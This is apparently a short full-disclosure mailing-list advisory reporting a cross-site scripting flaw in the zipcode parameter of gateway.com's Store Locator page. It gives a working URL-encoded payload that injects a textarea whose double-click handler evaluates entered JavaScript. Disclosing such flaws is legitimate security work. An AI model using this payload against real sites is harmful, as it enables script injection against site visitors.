Gateway.com Store Locator Cross-Site Scripting Vulnerability

[full-disclosure () lists netsys com (Matthew Murphy)]

In yet another situation involving unvalidated numeric input, gateway.com's
"Store Locator" feature suffers from a cross-site scripting vulnerability.

http://commerce.gateway.com/country/zipresults.asp?zipcode=%22%3E%3CTEXTAREA
%20STYLE%3Dheight%3A300px%3Bwidth%3A300px%3B%20ONDBLCLICK%3Deval%28this%2Eva
lue%29%3E%3C%2FTEXTAREA%3E

This sets up a textbox where JS commands can be entered.

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
                     - Author Unknown